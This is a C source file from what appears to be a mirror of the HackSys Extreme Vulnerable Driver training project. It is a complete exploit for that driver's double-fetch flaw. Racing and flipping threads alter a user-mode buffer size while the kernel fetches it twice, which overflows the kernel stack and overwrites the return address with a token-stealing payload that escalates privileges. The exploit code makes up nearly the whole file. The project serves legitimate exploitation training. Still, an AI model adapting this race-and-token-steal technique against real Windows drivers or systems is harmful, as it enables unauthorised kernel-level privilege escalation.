mirror of
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
synced 2026-06-08 14:31:02 +00:00
261 lines
9.7 KiB
C
261 lines
9.7 KiB
C
/*++
|
|
|
|
## ## ######## ## ## ########
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
######### ###### ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ## ## ## ## ##
|
|
## ## ######## ### ########
|
|
|
|
HackSys Extreme Vulnerable Driver Exploit
|
|
|
|
Author : Ashfaq Ansari
|
|
Contact: ashfaq[at]payatu[dot]com
|
|
Website: http://www.payatu.com/
|
|
|
|
Copyright (C) 2011-2016 Payatu Technologies Pvt. Ltd. All rights reserved.
|
|
|
|
This program is free software: you can redistribute it and/or modify it under the terms of
|
|
the GNU General Public License as published by the Free Software Foundation, either version
|
|
3 of the License, or (at your option) any later version.
|
|
|
|
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
|
|
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
|
See the GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License along with this program.
|
|
If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
|
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
|
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT,
|
|
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
|
|
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
|
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
|
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
|
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
|
|
See the file 'LICENSE' for complete copying permission.
|
|
|
|
Module Name:
|
|
DoubleFetch.c
|
|
|
|
Abstract:
|
|
This module implements the exploit for Double Fetch Vulnerability
|
|
implemented in HackSys Extreme Vulnerable Driver.
|
|
|
|
References:
|
|
http://j00ru.vexillium.org/?p=1880
|
|
|
|
--*/
|
|
|
|
#include "DoubleFetch.h"
|
|
|
|
DWORD WINAPI FlippingThread(LPVOID Parameter) {
|
|
DEBUG_INFO("\t\t\t[+] FlippingThread Scheduled On Processor: %d\n", GetCurrentProcessorNumber());
|
|
|
|
while (!ExploitSuccessful) {
|
|
*(PULONG)Parameter ^= 0x00000A24;
|
|
}
|
|
|
|
return EXIT_SUCCESS;
|
|
}
|
|
|
|
DWORD WINAPI RacingThread(LPVOID Parameter) {
|
|
HANDLE hFile = NULL;
|
|
ULONG BytesReturned;
|
|
BOOL Success = FALSE;
|
|
HANDLE hThread = NULL;
|
|
PDOUBLE_FETCH UserDoubleFetch = NULL;
|
|
PRACING_THREAD_PARAMETER RacingThreadParameter = NULL;
|
|
|
|
RacingThreadParameter = (PRACING_THREAD_PARAMETER)Parameter;
|
|
|
|
hFile = RacingThreadParameter->DeviceHandle;
|
|
UserDoubleFetch = RacingThreadParameter->DoubleFetch;
|
|
|
|
DEBUG_INFO("\t\t\t[+] RacingThread Scheduled On Processor: %d\n", GetCurrentProcessorNumber());
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
while (!ExploitSuccessful) {
|
|
// It's best to flush TLB Cache in Racing Thread
|
|
EmptyWorkingSet(GetCurrentProcess());
|
|
|
|
Success = DeviceIoControl(hFile,
|
|
HACKSYS_EVD_IOCTL_DOUBLE_FETCH,
|
|
(LPVOID)UserDoubleFetch,
|
|
0,
|
|
NULL,
|
|
0,
|
|
&BytesReturned,
|
|
NULL);
|
|
}
|
|
|
|
OutputDebugString("****************Kernel Mode****************\n");
|
|
|
|
return EXIT_SUCCESS;
|
|
}
|
|
|
|
DWORD WINAPI DoubleFetchThread(LPVOID Parameter) {
|
|
UINT32 i = 0;
|
|
DWORD_PTR Mask = 0;
|
|
HANDLE hFile = NULL;
|
|
BOOL SingleCPU = FALSE;
|
|
PVOID MemoryAddress = NULL;
|
|
DWORD ThreadTimeout = 120000;
|
|
PULONG UserModeBuffer = NULL;
|
|
ULONG NumberOfProcessors = 0;
|
|
PDOUBLE_FETCH UserDoubleFetch = NULL;
|
|
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
|
|
PVOID EopPayload = &TokenStealingPayloadWin7New;
|
|
HANDLE RacingThreads[MAXIMUM_THREADS_ALLOWED] = {0};
|
|
HANDLE FlippingThreads[MAXIMUM_THREADS_ALLOWED] = {0};
|
|
PRACING_THREAD_PARAMETER RacingThreadParameter = NULL;
|
|
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG);
|
|
|
|
__try {
|
|
// Get the device handle
|
|
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
|
|
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);
|
|
|
|
hFile = GetDeviceHandle(FileName);
|
|
|
|
if (hFile == INVALID_HANDLE_VALUE) {
|
|
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
else {
|
|
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
|
|
}
|
|
|
|
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");
|
|
|
|
DEBUG_INFO("\t\t[+] Getting Processor Details\n");
|
|
|
|
// Find number of processors
|
|
NumberOfProcessors = GetNumberOfProcessors();
|
|
|
|
DEBUG_INFO("\t\t\t[+] Number Of Processors: %d\n", NumberOfProcessors);
|
|
|
|
if (NumberOfProcessors < 2) {
|
|
SingleCPU = TRUE;
|
|
|
|
DEBUG_ERROR("\t\t\t[+] Winning Race With 1 Core Is Hard\n");
|
|
}
|
|
|
|
DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");
|
|
|
|
// Allocate the memory for RACING_THREAD_PARAMETER
|
|
RacingThreadParameter = (PRACING_THREAD_PARAMETER)HeapAlloc(GetProcessHeap(),
|
|
HEAP_ZERO_MEMORY,
|
|
sizeof(RACING_THREAD_PARAMETER));
|
|
|
|
if (!RacingThreadParameter) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
// Allocate the memory for DOUBLE_FETCH as PAGE_NOCACHE
|
|
UserDoubleFetch = (PDOUBLE_FETCH)VirtualAlloc(NULL,
|
|
0x1000,
|
|
MEM_RESERVE | MEM_COMMIT,
|
|
PAGE_READWRITE | PAGE_NOCACHE);
|
|
|
|
if (!UserDoubleFetch) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
|
|
HEAP_ZERO_MEMORY,
|
|
UserModeBufferSize);
|
|
|
|
if (!UserModeBuffer) {
|
|
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
UserDoubleFetch->Buffer = UserModeBuffer;
|
|
UserDoubleFetch->Size = (SIZE_T)BUFFER_SIZE;
|
|
|
|
DEBUG_INFO("\t\t\t[+] UserModeBuffer: 0x%p\n", UserModeBuffer);
|
|
DEBUG_INFO("\t\t\t[+] UserModeBuffer Size: 0x%X\n", UserModeBufferSize);
|
|
DEBUG_INFO("\t\t\t[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
|
|
DEBUG_INFO("\t\t\t[+] UserDoubleFetch->Buffer: 0x%p\n", UserDoubleFetch->Buffer);
|
|
DEBUG_INFO("\t\t\t[+] UserDoubleFetch->Size: 0x%X\n", UserDoubleFetch->Size);
|
|
|
|
DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");
|
|
|
|
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);
|
|
|
|
MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));
|
|
*(PULONG)MemoryAddress = (ULONG)EopPayload;
|
|
|
|
DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress);
|
|
DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress);
|
|
|
|
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
|
|
|
|
RacingThreadParameter->DeviceHandle = hFile;
|
|
RacingThreadParameter->DoubleFetch = UserDoubleFetch;
|
|
|
|
ExploitSuccessful = FALSE;
|
|
|
|
DEBUG_MESSAGE("\t[+] Starting Threads\n");
|
|
|
|
for (i = 0; i < NumberOfProcessors; i++) {
|
|
DEBUG_INFO("\t\t[+] Starting Racing Thread: %d\n", i);
|
|
RacingThreads[i] = CreateThread(NULL, 0, RacingThread, RacingThreadParameter, CREATE_SUSPENDED, 0);
|
|
SetThreadPriority(RacingThreads[i], THREAD_PRIORITY_HIGHEST);
|
|
|
|
DEBUG_INFO("\t\t[+] Starting Flipping Thread: %d\n", i);
|
|
FlippingThreads[i] = CreateThread(NULL, 0, FlippingThread, &UserDoubleFetch->Size, CREATE_SUSPENDED, 0);
|
|
SetThreadPriority(FlippingThreads[i], THREAD_PRIORITY_HIGHEST);
|
|
|
|
if (!SingleCPU) {
|
|
Mask |= 1 << i;
|
|
SetThreadAffinityMask(RacingThreads[i], Mask);
|
|
|
|
Mask |= 1 << (i + 1);
|
|
SetThreadAffinityMask(FlippingThreads[i], Mask);
|
|
}
|
|
else {
|
|
SetThreadAffinityMask(RacingThreads[i], Mask);
|
|
SetThreadAffinityMask(FlippingThreads[i], Mask);
|
|
}
|
|
|
|
ResumeThread(RacingThreads[i]);
|
|
ResumeThread(FlippingThreads[i]);
|
|
}
|
|
|
|
if (WaitForMultipleObjects(NumberOfProcessors, RacingThreads, TRUE, ThreadTimeout)) {
|
|
// Terminate the threads
|
|
for (i = 0; i < NumberOfProcessors; i++) {
|
|
TerminateThread(RacingThreads[i], EXIT_SUCCESS);
|
|
CloseHandle(RacingThreads[i]);
|
|
|
|
TerminateThread(FlippingThreads[i], EXIT_SUCCESS);
|
|
CloseHandle(FlippingThreads[i]);
|
|
}
|
|
|
|
DEBUG_INFO("\t\t[+] Terminated Exploit Threads\n");
|
|
}
|
|
|
|
VirtualFree(UserDoubleFetch, 0, MEM_RELEASE);
|
|
HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer);
|
|
HeapFree(GetProcessHeap(), 0, (LPVOID)RacingThreadParameter);
|
|
|
|
UserModeBuffer = NULL;
|
|
UserDoubleFetch = NULL;
|
|
RacingThreadParameter = NULL;
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
|
|
return EXIT_SUCCESS;
|
|
}
|